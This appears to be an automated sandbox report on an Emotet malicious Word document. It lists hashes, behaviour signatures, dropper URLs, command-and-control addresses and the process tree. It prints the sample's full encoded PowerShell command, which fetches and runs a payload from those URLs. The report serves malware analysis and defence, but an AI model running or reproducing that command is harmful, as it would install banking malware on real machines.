emotet | f28145d41b0f9c7df34530160f7e2b8ba68ff89aeaa70cdd43b3981f516591ce

Analysis

max time kernel
138s
max time network
146s
platform
windows10_x64
resource
win10v200722
submitted
22/09/2020, 09:36

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General

Target
emotet_e1_f28145d41b0f9c7df34530160f7e2b8ba68ff89aeaa70cdd43b3981f516591ce_2020-09-22__093358235974._doc.doc
Size 152KB
Sample200922-t1pfxcdznj
SHA256 f28145d41b0f9c7df34530160f7e2b8ba68ff89aeaa70cdd43b3981f516591ce
MD5 9db2bd456093e923dc71029b4e979434
SHA1 b58655ec456068332cbf52e12d24e1c51437675f
SHA512 2d1037778e8b0db846c062258de5c89a0e3c54492ccc4538019d1542e9bf2fb91e574de1aaf0d519a728ff85d04a76d6a329827e367604cf2a8d604cd7a39fce
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://priyamcollection.com/cab/f/
exe.dropper
http://querofornecedores.com/wp-includes/images/D/
exe.dropper
https://hulianwang114.com/attachment/c/
exe.dropper
http://ixirhost.xyz/wp-content/z/
exe.dropper
https://weneedyourhelpnow.org/wp-content/LJ/
exe.dropper
https://averyair.com/wp-content/J/
exe.dropper
https://drippglobal.com/wp-content/rV/

Extracted

Family

emotet

76.168.54.203:80
51.38.124.206:80
38.88.126.202:8080
54.37.42.48:8080
5.196.35.138:7080
177.129.17.170:443
87.106.46.107:8080
68.183.190.199:8080
185.183.16.47:80
186.103.141.250:443
64.201.88.132:80
70.32.84.74:8080
68.69.155.181:80
82.76.111.249:443
111.67.12.221:8080
60.93.23.51:80
104.131.41.185:8080
92.24.50.153:80
191.182.6.118:80
61.197.92.216:80
213.197.182.158:8080
137.74.106.111:7080
138.97.60.141:7080
187.162.248.237:80
110.142.219.51:80
51.159.23.217:443
192.241.143.52:8080
190.24.243.186:80
51.255.165.160:8080
212.71.237.140:8080
190.115.18.139:8080
174.113.69.136:80
178.250.54.208:8080
190.2.31.172:80
45.16.226.117:443
50.121.220.50:80
217.13.106.14:8080
217.199.160.224:7080
80.11.164.185:80
172.104.169.32:8080
77.90.136.129:8080
123.51.47.18:80
82.230.1.24:80
74.58.215.226:80
185.94.252.27:443
181.30.61.163:443
111.67.77.202:8080
96.227.52.8:443
2.36.95.106:80
78.249.119.122:80
209.236.123.42:8080
185.215.227.107:443
188.135.15.49:80
83.169.21.32:7080
96.245.123.149:80
216.47.196.104:80
50.28.51.143:8080
5.189.178.202:8080
74.136.144.133:80
72.47.248.48:7080
190.190.148.27:8080
189.2.177.210:443
98.13.75.196:80
185.178.10.77:80
181.129.96.162:8080
67.247.242.247:80
170.81.48.2:80
199.203.62.165:80
204.225.249.100:7080
77.106.157.34:8080
68.183.170.114:8080
45.46.37.97:80
70.32.115.157:8080
190.163.31.26:80
94.176.234.118:443
95.9.180.128:80
104.131.103.37:8080
35.143.99.174:80
91.105.94.200:80
190.6.193.152:8080
155.186.0.121:80
219.92.13.25:80
12.162.84.2:8080
220.109.145.69:80
177.74.228.34:80
77.238.212.227:80
61.92.159.208:8080
186.70.127.199:8090
45.33.77.42:8080
152.169.22.67:80
192.241.146.84:8080
185.94.252.12:80
177.73.0.98:443
65.36.62.20:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3612	1796	POWeRsHeLL.exe	72

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1720-14-0x0000000002170000-0x0000000002182000-memory.dmp	emotet
behavioral2/memory/1720-14-0x0000000002170000-0x0000000002182000-memory.dmp	emotet
behavioral2/memory/1720-15-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/1720-15-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/3432-18-0x0000000000460000-0x0000000000472000-memory.dmp	emotet
behavioral2/memory/3432-18-0x0000000000460000-0x0000000000472000-memory.dmp	emotet
behavioral2/memory/3432-19-0x00000000005A0000-0x00000000005B0000-memory.dmp	emotet
behavioral2/memory/3432-19-0x00000000005A0000-0x00000000005B0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
22	3612	POWeRsHeLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1720	P1mvj5z.exe
3432	rtmpltfm.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\httpapi\rtmpltfm.exe	P1mvj5z.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3888	WINWORD.EXE
3888	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3612	POWeRsHeLL.exe
3612	POWeRsHeLL.exe
3612	POWeRsHeLL.exe
3432	rtmpltfm.exe
3432	rtmpltfm.exe
3432	rtmpltfm.exe
3432	rtmpltfm.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3612	POWeRsHeLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3612 wrote to memory of 1720	3612	POWeRsHeLL.exe	79
PID 3612 wrote to memory of 1720	3612	POWeRsHeLL.exe	79
PID 3612 wrote to memory of 1720	3612	POWeRsHeLL.exe	79
PID 1720 wrote to memory of 3432	1720	P1mvj5z.exe	81
PID 1720 wrote to memory of 3432	1720	P1mvj5z.exe	81
PID 1720 wrote to memory of 3432	1720	P1mvj5z.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_f28145d41b0f9c7df34530160f7e2b8ba68ff89aeaa70cdd43b3981f516591ce_2020-09-22__093358235974._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3888

C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
POWeRsHeLL -ENCOD JABaADEAaQBjAGMANQBwAD0AKAAoACcATQBjAF8AJwArACcANQBrACcAKQArACcAegAnACsAJwBlACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgBWADoAVQBTAEUAUgBQAHIATwBmAGkAbABFAFwAYwBlAGQAMwA1ADMAQwBcAFYAUAB2AGUASQBMAFcAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAHUAcgBJAHQAWQBgAFAAYABSAE8AYABUAGAAbwBjAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzACcAKQArACcAMQAyACcAKwAoACcALAAnACsAJwAgAHQAJwApACsAKAAnAGwAcwAxACcAKwAnADEAJwApACsAKAAnACwAIAAnACsAJwB0ACcAKQArACcAbABzACcAKQA7ACQAUgA1ADgAZAByADEAdAAgAD0AIAAoACcAUAAnACsAKAAnADEAbQB2ACcAKwAnAGoAJwApACsAJwA1AHoAJwApADsAJABJADEAeAA2AG0AbgBxAD0AKAAoACcARgAnACsAJwB4AGQAMwBzAHIAJwApACsAJwBnACcAKQA7ACQAUwBvAGQAcgBqADgAcwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQBDAGUAJwArACcAZAAzACcAKwAnADUAMwBjAHsAMAB9AFYAcAB2AGUAaQAnACsAJwBsAHcAJwArACcAewAwACcAKwAnAH0AJwApAC0ARgBbAGMAaABBAHIAXQA5ADIAKQArACQAUgA1ADgAZAByADEAdAArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAUwBfAGoAMgA0AGoAZAA9ACgAKAAnAEgAZgB0AHMAJwArACcAMAAnACkAKwAnAGEAYQAnACkAOwAkAFEAdwBoADkAcQBmAGsAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AdwBlAEIAQwBsAEkARQBOAFQAOwAkAEEAXwAyAHkAeABoADMAPQAoACcAaAB0ACcAKwAoACcAdAAnACsAJwBwACcAKwAnADoALwAvAHAAcgBpACcAKQArACgAJwB5AGEAbQBjAG8AJwArACcAbAAnACkAKwAnAGwAJwArACgAJwBlAGMAdABpAG8AJwArACcAbgAuAGMAbwBtAC8AYwBhACcAKwAnAGIAJwArACcALwBmACcAKwAnAC8AKgBoAHQAdABwADoALwAvACcAKwAnAHEAdQBlAHIAbwBmAG8AcgBuAGUAYwBlACcAKwAnAGQAJwArACcAbwByAGUAcwAuACcAKwAnAGMAbwAnACsAJwBtAC8AJwArACcAdwAnACkAKwAoACcAcAAnACsAJwAtAGkAbgBjAGwAdQBkAGUAJwArACcAcwAvAGkAbQBhAGcAZQAnACsAJwBzAC8ARAAvACcAKQArACcAKgBoACcAKwAnAHQAJwArACgAJwB0AHAAJwArACcAcwA6ACcAKQArACgAJwAvAC8AaAAnACsAJwB1ACcAKwAnAGwAaQBhAG4AJwArACcAdwAnACkAKwAoACcAYQAnACsAJwBuAGcAMQAnACkAKwAoACcAMQA0AC4AJwArACcAYwAnACkAKwAnAG8AbQAnACsAKAAnAC8AYQB0AHQAJwArACcAYQAnACkAKwAnAGMAaAAnACsAKAAnAG0AJwArACcAZQBuACcAKQArACgAJwB0ACcAKwAnAC8AYwAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvAC8AaQB4ACcAKQArACgAJwBpAHIAJwArACcAaABvACcAKwAnAHMAdAAuAHgAeQB6AC8AJwArACcAdwBwACcAKwAnAC0AYwBvACcAKQArACcAbgB0ACcAKwAoACcAZQBuACcAKwAnAHQAJwApACsAJwAvACcAKwAnAHoAJwArACcALwAqACcAKwAoACcAaAAnACsAJwB0ACcAKwAnAHQAcABzADoALwAvAHcAZQBuACcAKQArACgAJwBlACcAKwAnAGUAZAAnACkAKwAoACcAeQAnACsAJwBvAHUAcgAnACsAJwBoAGUAbABwAG4AJwArACcAbwB3AC4AbwByAGcALwB3AHAAJwArACcALQAnACsAJwBjAG8AJwArACcAbgB0AGUAbgAnACkAKwAoACcAdAAvACcAKwAnAEwASgAnACsAJwAvACoAaAB0ACcAKwAnAHQAcABzACcAKQArACgAJwA6AC8AJwArACcALwAnACkAKwAnAGEAdgAnACsAKAAnAGUAcgB5AGEAaQAnACsAJwByAC4AJwArACcAYwBvAG0AJwApACsAKAAnAC8AdwBwACcAKwAnAC0AYwBvAG4AJwArACcAdABlACcAKQArACgAJwBuAHQALwAnACsAJwBKAC8AJwArACcAKgBoAHQAdAAnACkAKwAnAHAAJwArACcAcwA6ACcAKwAnAC8ALwAnACsAJwBkACcAKwAoACcAcgAnACsAJwBpAHAAJwApACsAKAAnAHAAZwBsAG8AYgAnACsAJwBhACcAKQArACgAJwBsAC4AJwArACcAYwBvAG0ALwAnACkAKwAoACcAdwBwACcAKwAnAC0AYwBvACcAKQArACgAJwBuAHQAJwArACcAZQBuAHQAJwApACsAKAAnAC8AcgBWACcAKwAnAC8AJwApACkALgAiAHMAcABsAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQBrADIAbgBnAHYAMwA9ACgAKAAnAFEAdwAnACsAJwB3AHgAJwApACsAKAAnAHYAbQAnACsAJwA5ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARABlAF8AcQAxAG0AdwAgAGkAbgAgACQAQQBfADIAeQB4AGgAMwApAHsAdAByAHkAewAkAFEAdwBoADkAcQBmAGsALgAiAGQAbwB3AG4AbABPAGAAQQBgAEQARgBJAEwARQAiACgAJABEAGUAXwBxADEAbQB3ACwAIAAkAFMAbwBkAHIAagA4AHMAKQA7ACQATgBjADgAagB2ADkAZgA9ACgAJwBQACcAKwAoACcAcwB1ACcAKwAnAGcAJwApACsAKAAnADYAOQAnACsAJwBwACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAbQAnACkAIAAkAFMAbwBkAHIAagA4AHMAKQAuACIAbABlAGAATgBHAHQAaAAiACAALQBnAGUAIAAyADMANgA3ADIAKQAgAHsALgAoACcASQBuAHYAbwBrAGUALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAoACQAUwBvAGQAcgBqADgAcwApADsAJABZADIAaAAxADUAZQBlAD0AKAAnAEQAJwArACgAJwBlAGcAeAAnACsAJwBxACcAKQArACcAdQAwACcAKQA7AGIAcgBlAGEAawA7ACQASwAwADgAZQAzAHYAZAA9ACgAKAAnAFMAMgAnACsAJwB6ACcAKQArACcAYQB3ACcAKwAnAGsAegAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAYQB5AHYAMQBwADEAPQAoACcAVQAnACsAKAAnAGIAJwArACcAcAA1ADAAbwAnACsAJwBnACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3612
- C:\Users\Admin\Ced353c\Vpveilw\P1mvj5z.exe
  "C:\Users\Admin\Ced353c\Vpveilw\P1mvj5z.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:1720
- - C:\Windows\SysWOW64\httpapi\rtmpltfm.exe
    "C:\Windows\SysWOW64\httpapi\rtmpltfm.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3432

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1720-15-0x00000000001F0000-0x0000000000200000-memory.dmp

Download

memory/1720-14-0x0000000002170000-0x0000000002182000-memory.dmp

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memory/3432-19-0x00000000005A0000-0x00000000005B0000-memory.dmp

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memory/3432-18-0x0000000000460000-0x0000000000472000-memory.dmp

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memory/3612-10-0x000001F16C5F0000-0x000001F16C5F1000-memory.dmp

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memory/3612-9-0x000001F16C440000-0x000001F16C441000-memory.dmp

Download

memory/3612-8-0x00007FF8B8240000-0x00007FF8B8C2C000-memory.dmp

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memory/3888-0-0x00007FF8BF460000-0x00007FF8BFB26000-memory.dmp

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memory/3888-7-0x000001BE4F3BE000-0x000001BE4F3C7000-memory.dmp

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memory/3888-6-0x000001BE4F3BE000-0x000001BE4F3C7000-memory.dmp

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memory/3888-5-0x000001BE4F3BE000-0x000001BE4F3C7000-memory.dmp

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memory/3888-4-0x000001BE4F3BE000-0x000001BE4F3C7000-memory.dmp

Download

memory/3888-3-0x000001BE517E2000-0x000001BE517E6000-memory.dmp

Download

memory/3888-2-0x000001BE51672000-0x000001BE51677000-memory.dmp

Download

memory/3888-1-0x000001BE51672000-0x000001BE51677000-memory.dmp

Download